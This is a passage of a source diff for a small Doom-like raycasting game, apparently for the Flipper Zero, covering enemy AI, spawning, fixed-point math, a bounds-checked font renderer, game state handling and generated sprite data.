Game::stats.killedBy = type;
}
state = EnemyState::Attacking;
frameDelay = GetArchetype()->GetAttackDuration();
}
x -= deltaX;
y -= deltaY;
return false;
}
if(x == targetX && y == targetY)
{
PickNewTargetCell();
}
return true;
}
bool Enemy::FireProjectile(uint8_t angle)
{
return ProjectileManager::FireProjectile(this, x, y, angle) != nullptr;
}
bool Enemy::TryFireProjectile()
{
int8_t deltaX = (Game::player.x - x) / CELL_SIZE;
int8_t deltaY = (Game::player.y - y) / CELL_SIZE;
if (deltaX == 0)
{
if (deltaY < 0)
{
return FireProjectile(FIXED_ANGLE_270);
}
else if (deltaY > 0)
{
return FireProjectile(FIXED_ANGLE_90);
}
}
else if (deltaY == 0)
{
if (deltaX < 0)
{
return FireProjectile(FIXED_ANGLE_180);
}
else if (deltaX > 0)
{
return FireProjectile(0);
}
}
else if (deltaX == deltaY)
{
if (deltaX > 0)
{
return FireProjectile(FIXED_ANGLE_45);
}
else
{
return FireProjectile(FIXED_ANGLE_180 + FIXED_ANGLE_45);
}
}
else if (deltaX == -deltaY)
{
if (deltaX > 0)
{
return FireProjectile(FIXED_ANGLE_270 + FIXED_ANGLE_45);
}
else
{
return FireProjectile(FIXED_ANGLE_90 + FIXED_ANGLE_45);
}
}
return false;
}
bool Enemy::ShouldFireProjectile() const
{
uint8_t distance = GetPlayerCellDistance();
uint8_t chance = 16 / (distance > 0 ? distance : 1);
return GetArchetype()->GetIsRanged() && (Random() & 0xff) < chance && Map::IsClearLine(x, y, Game::player.x, Game::player.y);
}
void Enemy::Tick()
{
if (state == EnemyState::Stunned)
{
StunMove();
}
if (frameDelay > 0)
{
if ((Game::globalTickFrame & 0xf) == 0)
{
frameDelay--;
}
return;
}
switch (state)
{
case EnemyState::Idle:
if (Map::IsClearLine(x, y, Game::player.x, Game::player.y))
{
Platform::PlaySound(Sounds::SpotPlayer);
state = EnemyState::Moving;
}
break;
case EnemyState::Moving:
TryMove();
if (ShouldFireProjectile())
{
if (TryFireProjectile())
{
Platform::PlaySound(Sounds::Shoot);
state = EnemyState::Attacking;
frameDelay = GetArchetype()->GetAttackDuration();
}
}
break;
case EnemyState::Attacking:
state = EnemyState::Moving;
break;
case EnemyState::Stunned:
state = EnemyState::Moving;
break;
default:
break;
}
}
void EnemyManager::Init()
{
for (Enemy& enemy : enemies)
{
enemy.Clear();
}
}
void EnemyManager::Update()
{
for (Enemy& enemy : enemies)
{
if(enemy.IsValid())
{
enemy.Tick();
}
}
}
void EnemyManager::Draw()
{
for(Enemy& enemy : enemies)
{
if(enemy.IsValid())
{
bool invert = enemy.GetState() == EnemyState::Stunned && (Renderer::globalRenderFrame & 1);
int frameOffset = (enemy.GetType() == EnemyType::Bat || enemy.GetState() == EnemyState::Moving) && (Game::globalTickFrame & 8) == 0 ? 32 : 0;
const EnemyArchetype* archetype = enemy.GetArchetype();
Renderer::DrawObject(archetype->GetSpriteData() + frameOffset, enemy.x, enemy.y, archetype->GetSpriteScale(), archetype->GetSpriteAnchor(), invert);
}
}
}
void EnemyManager::Spawn(EnemyType enemyType, int16_t x, int16_t y)
{
for (Enemy& enemy : enemies)
{
if(!enemy.IsValid())
{
enemy.Init(enemyType, x, y);
return;
}
}
}
// Doom-like difficulty curve: early levels are mostly zombiemen,
// deeper levels bring sergeants, imps and finally demons
static EnemyType PickEnemyType()
{
uint8_t roll = (uint8_t)(Random() % 100);
uint8_t f = Game::floor;
if (f < 3)
{
if (roll < 55) return EnemyType::Spider; // zombieman
if (roll < 85) return EnemyType::Bat; // sergeant
return EnemyType::Mage; // imp
}
if (f < 6)
{
if (roll < 30) return EnemyType::Spider;
if (roll < 55) return EnemyType::Bat;
if (roll < 85) return EnemyType::Mage;
return EnemyType::Skeleton; // demon
}
if (roll < 15) return EnemyType::Spider;
if (roll < 40) return EnemyType::Bat;
if (roll < 70) return EnemyType::Mage;
return EnemyType::Skeleton;
}
void EnemyManager::SpawnEnemies()
{
for (uint8_t y = 0; y < Map::height; y++)
{
for (uint8_t x = 0; x < Map::width; x++)
{
if (Map::GetCellSafe(x, y) == CellType::Monster)
{
EnemyManager::Spawn(PickEnemyType(), x * CELL_SIZE + CELL_SIZE / 2, y * CELL_SIZE + CELL_SIZE / 2);
Map::SetCell(x, y, CellType::Empty);
break;
}
}
}
}
Enemy* EnemyManager::GetOverlappingEnemy(Entity& entity)
{
for (Enemy& enemy : enemies)
{
if (enemy.IsValid() && enemy.IsOverlappingEntity(entity))
{
return &enemy;
}
}
return nullptr;
}
Enemy* EnemyManager::GetOverlappingEnemy(int16_t x, int16_t y)
{
for (Enemy& enemy : enemies)
{
if (enemy.IsValid() && enemy.IsOverlappingPoint(x, y))
{
return &enemy;
}
}
return nullptr;
}
@@ -0,0 +1,100 @@
#pragma once
#include <stdint.h>
#include "game/Entity.h"
#include "game/Defines.h"
#include "game/Draw.h"
enum class EnemyType : uint8_t
{
Skeleton,
Mage,
Bat,
Spider,
NumEnemyTypes,
None = NumEnemyTypes,
Exit,
};
enum class EnemyState : uint8_t
{
Idle,
Moving,
Attacking,
Stunned,
Dying,
Dead
};
struct EnemyArchetype
{
const uint16_t* spriteData;
uint8_t hp;
uint8_t movementSpeed;
uint8_t attackStrength;
uint8_t attackDuration;
uint8_t stunDuration;
uint8_t isRanged;
uint8_t spriteScale;
AnchorType spriteAnchor;
const uint16_t* GetSpriteData() const {return static_cast<const uint16_t*>(pgm_read_ptr_safe(&spriteData));}
uint8_t GetHP() const { return pgm_read_byte(&hp); }
uint8_t GetMovementSpeed() const { return pgm_read_byte(&movementSpeed); }
uint8_t GetAttackStrength() const { return pgm_read_byte(&attackStrength); }
uint8_t GetAttackDuration() const { return pgm_read_byte(&attackDuration); }
uint8_t GetStunDuration() const { return pgm_read_byte(&stunDuration); }
bool GetIsRanged() const { return pgm_read_byte(&isRanged) != 0; }
uint8_t GetSpriteScale() const { return pgm_read_byte(&spriteScale); }
AnchorType GetSpriteAnchor() const { return (AnchorType) pgm_read_byte(&spriteAnchor); }
};
class Enemy : public Entity
{
public:
void Init(EnemyType type, int16_t x, int16_t y);
void Tick();
bool IsValid() const { return type != EnemyType::None; }
void Damage(uint8_t amount);
void Clear() { type = EnemyType::None; }
const EnemyArchetype* GetArchetype() const;
EnemyState GetState() const { return state; }
EnemyType GetType() const { return type; }
private:
static const EnemyArchetype archetypes[(int)EnemyType::NumEnemyTypes];
bool ShouldFireProjectile() const;
bool FireProjectile(uint8_t angle);
bool TryMove();
void StunMove();
bool TryFireProjectile();
void PickNewTargetCell();
bool TryPickCells(int8_t deltaX, int8_t deltaY);
bool TryPickCell(int8_t newX, int8_t newY);
uint8_t GetPlayerCellDistance() const;
EnemyType type : 3;
EnemyState state : 3;
uint8_t frameDelay : 2;
uint8_t hp;
uint8_t targetCellX, targetCellY;
};
class EnemyManager
{
public:
static constexpr int maxEnemies = 24; //24;
static Enemy enemies[maxEnemies];
static void Spawn(EnemyType enemyType, int16_t x, int16_t y);
static void SpawnEnemies();
static Enemy* GetOverlappingEnemy(Entity& entity);
static Enemy* GetOverlappingEnemy(int16_t x, int16_t y);
static void Init();
static void Draw();
static void Update();
};
@@ -0,0 +1,17 @@
#include "game/Entity.h"
#include "game/Game.h"
#include "game/Map.h"
#define ENTITY_SIZE 192
bool Entity::IsOverlappingEntity(const Entity& other) const
{
return (x >= other.x - ENTITY_SIZE && x <= other.x + ENTITY_SIZE
&& y >= other.y - ENTITY_SIZE && y <= other.y + ENTITY_SIZE);
}
bool Entity::IsOverlappingPoint(int16_t pointX, int16_t pointY) const
{
return (pointX >= x - ENTITY_SIZE / 2 && pointX <= x + ENTITY_SIZE / 2
&& pointY >= y - ENTITY_SIZE / 2 && pointY <= y + ENTITY_SIZE / 2);
}
@@ -0,0 +1,12 @@
#pragma once
#include <stdint.h>
class Entity
{
public:
bool IsOverlappingPoint(int16_t pointX, int16_t pointY) const;
bool IsOverlappingEntity(const Entity& other) const;
int16_t x, y;
};
@@ -0,0 +1,19 @@
// #include "FixedMath.h"
// static uint16_t xs = 1;
// uint16_t Random() {
// xs ^= xs << 7;
// xs ^= xs >> 9;
// xs ^= xs << 8;
// return xs;
// }
// void SeedRandom() {
// uint32_t r = furi_hal_random_get();
// xs = (uint16_t)(r ^ (r >> 16));
// }
// void SeedRandom(uint16_t seed) {
// xs = seed | 1;
// }
@@ -0,0 +1,46 @@
#pragma once
#include <stdint.h>
#include <furi.h>
#include <furi_hal.h>
#if defined(_WIN32)
#include <math.h>
#endif
#include "game/Defines.h"
#define FIXED_SHIFT 8
#define FIXED_ONE (1 << FIXED_SHIFT)
#define INT_TO_FIXED(x) ((x) * FIXED_ONE)
#define FIXED_TO_INT(x) ((x) >> 8)
#define FLOAT_TO_FIXED(x) ((int16_t)((x) * FIXED_ONE))
#ifndef ABS
#define ABS(x) (((x) < 0) ? -(x) : (x))
#endif
#define FIXED_ANGLE_MAX 256
#define FIXED_ANGLE_WRAP(x) ((x) & 255)
#define FIXED_ANGLE_45 (FIXED_ANGLE_90 / 2)
#define FIXED_ANGLE_90 (FIXED_ANGLE_MAX / 4)
#define FIXED_ANGLE_180 (FIXED_ANGLE_90 * 2)
#define FIXED_ANGLE_270 (FIXED_ANGLE_90 * 3)
#define FIXED_ANGLE_TO_RADIANS(x) ((x) * (2.0f * 3.141592654f / FIXED_ANGLE_MAX))
extern const int16_t sinTable[FIXED_ANGLE_MAX] PROGMEM;
inline int16_t FixedSin(uint8_t angle) {
return pgm_read_word(&sinTable[angle]);
}
inline int16_t FixedCos(uint8_t angle) {
return pgm_read_word(&sinTable[FIXED_ANGLE_WRAP(FIXED_ANGLE_90 - angle)]);
}
// uint16_t Random();
// void SeedRandom();
// void SeedRandom(uint16_t seed);
inline uint16_t Random() {
uint32_t r = furi_hal_random_get();
return (uint16_t)(r ^ (r >> 16));
}
@@ -0,0 +1,115 @@
#include <stdint.h>
#include "game/Defines.h"
#include "game/Font.h"
#include "game/Platform.h"
#include "game/Generated/SpriteTypes.h"
static inline uint8_t v3(uint8_t m)
{
return m | (m << 1) | (m >> 1);
}
static inline void apply4(uint8_t* dst, uint8_t a, uint8_t b, uint8_t c, uint8_t d, uint8_t xorMask)
{
if (xorMask)
{
dst[0] |= a;
dst[1] |= b;
dst[2] |= c;
dst[3] |= d;
}
else
{
dst[0] &= ~a;
dst[1] &= ~b;
dst[2] &= ~c;
dst[3] &= ~d;
}
}
static inline void apply1(uint8_t* dst, uint8_t m, uint8_t xorMask)
{
if (xorMask) *dst |= m;
else *dst &= ~m;
}
void Font::PrintString(const char* str, uint8_t line, uint8_t x, uint8_t colour)
{
uint8_t* p = Platform::GetScreenBuffer() + DISPLAY_WIDTH * line + x;
uint8_t xorMask = (colour == COLOUR_BLACK) ? 0 : 0xff;
for (;;)
{
char c = *str++;
if (!c) break;
DrawChar(p, c, xorMask);
p += glyphWidth;
}
}
void Font::PrintInt(uint16_t val, uint8_t line, uint8_t x, uint8_t colour)
{
uint8_t* p = Platform::GetScreenBuffer() + DISPLAY_WIDTH * line + x;
uint8_t xorMask = (colour == COLOUR_BLACK) ? 0 : 0xff;
if (val == 0)
{
DrawChar(p, '0', xorMask);
return;
}
char buf[5];
int n = 0;
while (val && n < 5)
{
buf[n++] = (char)('0' + (val % 10));
val /= 10;
}
while (n--)
{
DrawChar(p, buf[n], xorMask);
p += glyphWidth;
}
}
void Font::DrawChar(uint8_t* p, char c, uint8_t xorMask)
{
uint8_t uc = (uint8_t)c;
if (uc < firstGlyphIndex) return;
const uint8_t* f = fontPageData + glyphWidth * (uc - firstGlyphIndex);
uint8_t i0 = ~f[0];
uint8_t i1 = ~f[1];
uint8_t i2 = ~f[2];
uint8_t i3 = ~f[3];
uint8_t t0 = v3(i0 | i1);
uint8_t t1 = v3(i0 | i1 | i2);
uint8_t t2 = v3(i1 | i2 | i3);
uint8_t t3 = v3(i2 | i3);
uint8_t r0 = t0 & ~i0;
uint8_t r1 = t1 & ~i1;
uint8_t r2 = t2 & ~i2;
uint8_t r3 = t3 & ~i3;
uint8_t outlineMask = xorMask ^ 0xff;
// The outline spills one byte to each side of the glyph. Clamp it to the
// screen buffer: with x == 0 on the first line `p - 1` lands on the heap
// block header of FlipperState (back_buffer is its first member) and the
// `|=`/`&=` write corrupts the allocator metadata -- the game keeps
// running fine but the firmware crashes/hangs later, when the app frees
// its state on exit.
uint8_t* bufStart = Platform::GetScreenBuffer();
uint8_t* bufEnd = bufStart + (DISPLAY_WIDTH * DISPLAY_HEIGHT / 8);
if (p - 1 >= bufStart) apply1(p - 1, v3(i0), outlineMask);
apply4(p, r0, r1, r2, r3, outlineMask);
if (p + 4 < bufEnd) apply1(p + 4, v3(i3), outlineMask);
apply4(p, i0, i1, i2, i3, xorMask);
}
@@ -0,0 +1,21 @@
#pragma once
#include <stdint.h>
#include "game/Defines.h"
#define FONT_WIDTH 4
#define FONT_HEIGHT 6
class Font
{
public:
static constexpr int glyphWidth = 4;
static constexpr int glyphHeight = 8;
static constexpr int firstGlyphIndex = 32;
static void PrintString(const char* str, uint8_t line, uint8_t x, uint8_t colour = COLOUR_BLACK);
static void PrintInt(uint16_t value, uint8_t line, uint8_t x, uint8_t xorMask = COLOUR_BLACK);
private:
static void DrawChar(uint8_t* screenPtr, char c, uint8_t xorMask);
};
@@ -0,0 +1,166 @@
#include "game/Defines.h"
#include "game/Game.h"
#include "game/FixedMath.h"
#include "game/Draw.h"
#include "game/Map.h"
#include "game/Projectile.h"
#include "game/Particle.h"
#include "game/MapGenerator.h"
#include "game/Platform.h"
#include "game/Entity.h"
#include "game/Enemy.h"
#include "game/Menu.h"
Player Game::player;
const char* Game::displayMessage = nullptr;
uint8_t Game::displayMessageTime = 0;
Game::State Game::state = Game::State::Menu;
uint8_t Game::floor = 1;
uint8_t Game::globalTickFrame = 0;
Stats Game::stats;
Menu Game::menu;
void Game::Init() {
menu.Init();
ParticleSystemManager::Init();
ProjectileManager::Init();
EnemyManager::Init();
}
bool Game::InMenu() {
return (state != State::InGame);
}
void Game::GoToMenu() {
Game::stats.killedBy = EnemyType::Exit;
SwitchState(State::FadeOut);
}
void Game::StartGame() {
floor = 1;
stats.Reset();
player.Init();
SwitchState(State::EnteringLevel);
}
void Game::SwitchState(State newState) {
if(state != newState) {
state = newState;
menu.ResetTimer();
}
}
void Game::ShowMessage(const char* message) {
constexpr uint8_t messageDisplayTime = 90;
displayMessage = message;
displayMessageTime = messageDisplayTime;
}
void Game::NextLevel() {
if(floor == 10) {
GameOver();
} else {
floor++;
SwitchState(State::EnteringLevel);
}
}
void Game::StartLevel() {
ParticleSystemManager::Init();
ProjectileManager::Init();
EnemyManager::Init();
MapGenerator::Generate();
EnemyManager::SpawnEnemies();
player.NextLevel();
SwitchState(State::InGame);
}
void Game::Draw() {
switch(state) {
case State::Menu:
menu.Draw();
break;
case State::EnteringLevel:
menu.DrawEnteringLevel();
break;
// case State::TransitionToLevel:
// menu.TransitionToLevel();
// break;
case State::InGame: {
Renderer::camera.x = player.x;
Renderer::camera.y = player.y;
Renderer::camera.angle = player.angle;
Renderer::Render();
} break;
case State::GameOver:
menu.DrawGameOver();
break;
case State::FadeOut:
menu.FadeOut();
break;
default:
break;
}
}
void Game::TickInGame() {
if(displayMessageTime > 0) {
displayMessageTime--;
if(displayMessageTime == 0) displayMessage = nullptr;
}
player.Tick();
ProjectileManager::Update();
ParticleSystemManager::Update();
EnemyManager::Update();
if(Map::GetCellSafe(player.x / CELL_SIZE, player.y / CELL_SIZE) == CellType::Exit) {
NextLevel();
}
if(player.hp == 0) {
GameOver();
}
}
void Game::Tick() {
globalTickFrame++;
switch(state) {
case State::InGame:
TickInGame();
return;
case State::EnteringLevel:
menu.TickEnteringLevel();
return;
case State::Menu:
menu.Tick();
return;
case State::GameOver:
menu.TickGameOver();
return;
// case State::TransitionToLevel:
// return;
default:
return;
}
}
void Game::GameOver() {
SwitchState(State::FadeOut);
}
void Stats::Reset() {
killedBy = EnemyType::None;
chestsOpened = 0;
coinsCollected = 0;
crownsCollected = 0;
scrollsCollected = 0;
for(uint8_t& killCounter : enemyKills) {
killCounter = 0;
}
}
@@ -0,0 +1,63 @@
#pragma once
#include <stdint.h>
#include "game/Defines.h"
#include "game/Player.h"
#include "game/Enemy.h"
#include "game/Menu.h"
class Entity;
struct Stats {
EnemyType killedBy;
uint8_t enemyKills[(int)EnemyType::NumEnemyTypes];
uint8_t chestsOpened;
uint8_t crownsCollected;
uint8_t scrollsCollected;
uint8_t coinsCollected;
void Reset();
};
class Game {
public:
static Menu menu;
static uint8_t globalTickFrame;
enum class State : uint8_t {
Menu,
EnteringLevel,
InGame,
GameOver,
FadeOut,
// TransitionToLevel
};
static void Init();
static void Tick();
static void Draw();
static bool InMenu();
static void GoToMenu();
static void StartGame();
static void StartLevel();
static void NextLevel();
static void GameOver();
static void SwitchState(State newState);
static void ShowMessage(const char* message);
static Player player;
static const char* displayMessage;
static uint8_t displayMessageTime;
static uint8_t floor;
static Stats stats;
private:
static void TickInGame();
static State state;
};
@@ -0,0 +1,204 @@
// Auto-generated by tools/extract_doom_assets.py
// Derived at build time from the user's local Doom shareware WAD.
// Do not commit WAD-derived data to public repositories.
constexpr uint8_t skeletonSpriteData_numFrames = 2;
extern const uint16_t skeletonSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x1fc,0x144,0xffc,0xfac,0x7ffe,0x416,0x3ffe,0x2e,0x7ff,0x455,0x7fe,0x3e,
0x4ffe,0x4476,0xfffe,0x2022,0xfe3e,0x7016,0xc9fe,0x802,0x1e0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x3f0,0x150,0x3fc,0x200,0x103e,0x1016,0x7ffe,0x82e,0x3ffe,0x1476,0x17ff,0x23a,
0x7ff,0x41f,0x4ffe,0x23e,0xfffe,0x7056,0xfe1e,0x2802,0x3fe,0x114,0x3f0,0x2a0,0x0,0x0,0x0,0x0
};
constexpr uint8_t mageSpriteData_numFrames = 2;
extern const uint16_t mageSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x0,0x0,0x3e0,0x0,0x78,0x8,0x38,0x8,0xbffe,0x414,0xffff,0x800a,
0x83ff,0x15,0x7ffe,0xa,0x7ff8,0x1010,0x238,0x8,0x3f0,0x10,0x1c0,0x80,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x1e0,0x0,0x1f8,0x8,0x38,0x8,0x1ffc,0x8c,0x7fff,0x1107,0x17ff,0x8f,
0xffff,0x517,0xfff8,0xa618,0x1b8,0x8,0xf8,0xa8,0x60,0x40,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t batSpriteData_numFrames = 2;
extern const uint16_t batSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x0,0x0,0xf8,0x20,0x1f8,0x70,0xffc,0x88,0x1fff,0x47,0xffff,0x8023,
0xfffe,0x4406,0x3f8,0x0,0x38,0x10,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x60,0x20,0x1f8,0x50,0xff8,0x8,0x5fff,0x47,0x7fff,0x23,
0x7fff,0x7,0xfff8,0x0,0x378,0x10,0x78,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t spiderSpriteData_numFrames = 2;
extern const uint16_t spiderSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x78,0x50,0xf8,0x78,0x7fc,0x4c,0xfff,0xa,0xffff,0x17,0xffff,0x2a2a,
0x3ffc,0x1004,0x38,0x8,0x30,0x10,0x30,0x20,0x8,0x0,0x8,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x60,0x40,0x1f8,0x78,0x7f8,0x58,0x1fff,0x20a,0x7fff,0x17,0x3fff,0x2a,
0xfff8,0x10,0x778,0x8,0x78,0x10,0x38,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t projectileSpriteData_numFrames = 1;
extern const uint16_t projectileSpriteData[] PROGMEM =
{
0x7e0,0x100,0x1ff8,0x2a0,0x3ffc,0x550,0x7ffe,0xaa8,0x7ffe,0x554,0xffff,0x2bea,0xffff,0x57f4,0xffff,0x2ffa,
0xffff,0x57f4,0xffff,0x2bea,0xffff,0x57d4,0x7ffe,0x2baa,0x7ffe,0x1554,0x3ffc,0xaa0,0x1ff8,0x540,0x7e0,0x280
};
constexpr uint8_t enemyProjectileSpriteData_numFrames = 1;
extern const uint16_t enemyProjectileSpriteData[] PROGMEM =
{
0x7e0,0x0,0x1ff8,0x220,0x3ffc,0x554,0x7ffe,0xaaa,0x7ffe,0x1554,0xffff,0x2fea,0xffff,0x17f4,0xffff,0x2fea,
0xffff,0x57f5,0xffff,0x2bea,0xffff,0x57f4,0x7ffe,0x2fea,0x7ffe,0x15d4,0x3ffc,0x2aa8,0x1ff8,0x550,0x7e0,0x280
};
constexpr uint8_t torchSpriteData1_numFrames = 1;
extern const uint16_t torchSpriteData1[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x8000,0x0,0xc0f0,0xc020,
0xc0f8,0x4070,0x8000,0x8000,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t torchSpriteData2_numFrames = 1;
extern const uint16_t torchSpriteData2[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x8000,0x8000,0xc070,0xc050,0xfff8,0xea38,
0xc070,0xc050,0x8000,0x8000,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t urnSpriteData_numFrames = 1;
extern const uint16_t urnSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x7ffe,0x7ffe,0xffff,0xffee,0xffff,0x5dfd,0xffff,0xaaaa,0xffff,0x5557,0xffff,0x8aa,
0xffff,0x5547,0xffff,0xb,0xffff,0x1101,0xffff,0x3,0xffff,0x1,0xffff,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t potionSpriteData_numFrames = 1;
extern const uint16_t potionSpriteData[] PROGMEM =
{
0xfffc,0x5554,0xfffe,0xafbe,0xffff,0x575f,0xffff,0xaebf,0xffff,0x555f,0xffff,0xa2bf,0xffff,0x57f,0xffff,0x82ff,
0xffff,0x55f,0xffff,0xa2bf,0xffff,0x555f,0xffff,0xaabf,0xffff,0x575f,0xfffe,0xaebe,0xfffc,0x1554,0x0,0x0
};
constexpr uint8_t chestSpriteData_numFrames = 1;
extern const uint16_t chestSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0xfffc,0x1554,0xffff,0xaebe,0xffff,0x477f,0xfffe,0xaaae,0xfffc,0x4574,0xfffc,0xa0bc,
0xfffc,0x457c,0xfffc,0xaaac,0xfffe,0x5776,0xffff,0xaabe,0xffff,0x457e,0xfffc,0x22a0,0x0,0x0,0x0,0x0
};
constexpr uint8_t chestOpenSpriteData_numFrames = 1;
extern const uint16_t chestOpenSpriteData[] PROGMEM =
{
0x0,0x0,0xfffe,0xaaaa,0xffff,0x5557,0xffff,0x2aab,0xffff,0x5,0xffff,0x28ab,0xffff,0x1557,0xffff,0x2b,
0xffff,0x1555,0xffff,0x28ab,0xffff,0x5,0xffff,0x2aab,0xffff,0x5557,0xfffe,0xaaaa,0x0,0x0,0x0,0x0
};
constexpr uint8_t scrollSpriteData_numFrames = 1;
extern const uint16_t scrollSpriteData[] PROGMEM =
{
0x3fc0,0x1540,0x7ff0,0x2aa0,0xfff8,0x5550,0xfffc,0xe2a8,0x3ffc,0x1d4,0x3ffe,0x3fa,0xfffe,0x45fc,0xfffe,0xabfe,
0xfffe,0x55fc,0xfffe,0x2bfe,0x3ffe,0x35c,0x3ffc,0x2a8,0xfffc,0xf154,0xfff8,0xaaa8,0x7ff0,0x5550,0x3fc0,0x2a80
};
constexpr uint8_t coinsSpriteData_numFrames = 1;
extern const uint16_t coinsSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x1e00,0x1000,0x3f80,0x2000,0x7fc0,0x4500,0xffc0,0x8000,0xfffe,0x4000,0xffff,0x2,
0xffff,0x15,0xfffe,0x82,0xffc0,0x540,0x7fc0,0xa80,0x3f80,0x1500,0x1e00,0x800,0x0,0x0,0x0,0x0
};
constexpr uint8_t crownSpriteData_numFrames = 1;
extern const uint16_t crownSpriteData[] PROGMEM =
{
0x300,0x100,0x380,0x380,0x780,0x180,0x1f80,0x380,0x7f80,0x4780,0xff80,0xae80,0xff80,0x5600,0xff00,0xaa00,
0xff00,0x5400,0xff80,0xaa00,0xff80,0x4700,0x7f80,0x380,0x1f80,0x580,0x780,0x380,0x380,0x180,0x300,0x200
};
constexpr uint8_t signSpriteData_numFrames = 1;
extern const uint16_t signSpriteData[] PROGMEM =
{
0x0,0x0,0xc000,0x0,0xc000,0x4000,0xc000,0x8000,0xc000,0xc000,0xc000,0x8000,0xc000,0x4000,0xc000,0x8000,
0xc000,0x4000,0xe000,0xe000,0xe000,0x4000,0xc000,0x8000,0xc000,0x4000,0xc000,0xc000,0x0,0x0,0x0,0x0
};
extern const uint8_t handSpriteData1[] PROGMEM =
{
0x2e,0x1c,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,0x0,0xe0,0x8,0xf8,0x4,0xfc,
0x0,0xfc,0x0,0xff,0x8,0xfc,0x4,0xfc,0x8,0xf8,0x0,0xe0,0x80,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,0x80,0x80,0x40,0xc0,0x80,0xc0,0x40,0xc0,0xa0,0xe0,0x40,0xe0,
0xa0,0xe0,0x10,0xf0,0x0,0xf0,0x0,0xf0,0x0,0xf8,0x10,0xfe,0x0,0xff,0x0,0xff,0x0,0xff,0x10,0xff,0x0,0xff,0x0,0xff,
0x0,0xff,0x10,0xff,0x0,0xff,0x0,0xff,0x0,0xff,0x10,0xfe,0x0,0xf8,0x10,0xf0,0x0,0xe0,0x0,0xe0,0x80,0xc0,0x0,0x80,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0xe0,0x80,0xfe,0x40,0xff,0xaa,0xff,0x55,0xff,0xaa,0xff,0x57,0xff,0x2f,0xff,0x5,0xff,0x0,0xff,0x0,0xff,
0x20,0xff,0x60,0xff,0x62,0xff,0x60,0xff,0x60,0xff,0x60,0xff,0x20,0xff,0x20,0xff,0x20,0xff,0x0,0xff,0x20,0xff,0x20,0xff,
0x20,0xff,0x60,0xff,0x60,0xff,0x60,0xff,0x22,0xff,0x60,0xff,0x20,0xff,0x50,0xff,0x0,0xff,0x1,0xff,0x0,0xfe,0x40,0xe0,
0x80,0xc0,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xa,0xe,0x5,0xf,
0xa,0xf,0x5,0xf,0x2,0xf,0x1,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,
0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,
0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
extern const uint8_t handSpriteData2[] PROGMEM =
{
0x2e,0x26,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2,0x6,0x45,0xe7,
0xa8,0xff,0x4,0xff,0xa,0xff,0x5,0xff,0xa,0xff,0x45,0xff,0xae,0xff,0x3f,0x3f,0xf,0xf,0x3,0x3,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x3,0xf,0xf,0x3f,0x3f,0xae,0xff,0x45,0xff,0xa,0xff,0x4,0xff,
0xa,0xff,0x4,0xff,0xaa,0xff,0x15,0x37,0x2,0x6,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,
0x0,0x1,0x0,0x1,0x0,0x1,0x0,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x80,0xa0,0xe0,0x50,0xf0,0xa0,0xf0,0x44,0xfc,
